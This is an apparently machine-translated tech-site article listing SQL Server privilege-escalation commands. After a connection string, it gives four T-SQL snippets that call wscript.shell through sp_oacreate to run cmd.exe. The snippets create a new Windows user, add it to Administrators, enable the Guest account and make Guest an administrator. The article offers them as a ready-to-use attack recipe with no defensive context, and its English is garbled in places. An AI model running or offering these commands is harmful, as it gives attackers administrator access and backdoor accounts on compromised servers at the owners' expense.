Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What are the common commands for raising rights in SQL

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)05/31 Report--

This article mainly shows you "what are the commonly used commands for SQL rights?" the content is simple and clear. I hope it can help you solve your doubts. Let the editor lead you to study and learn this article "what are the common commands for SQL rights?"

1. Connect to the database

Driver= {SQL Server}; server= server IP;uid= user name; pwd= password; database= database name

2. Add new users

Declare @ shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @ shell,'run',null,'c:\ windows\ system32\ cmd.exe / c net user New user password / add'

3. Add users to the management group

Declare @ shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @ shell,'run',null,'c:\ windows\ system32\ cmd.exe / c net localgroup administrators New user / add'

4. Activate GUEST users

Declare @ shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @ shell,'run',null,'c:\ windows\ system32\ cmd.exe / c net user guest / active:yes'

5. Add Guest to the management group

Declare @ shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @ shell,'run',null,'c:\ windows\ system32\ cmd.exe / c net localgroup Administrators Guest / add'

The above is all the contents of the article "what are the common commands for the promotion of SQL rights?" Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report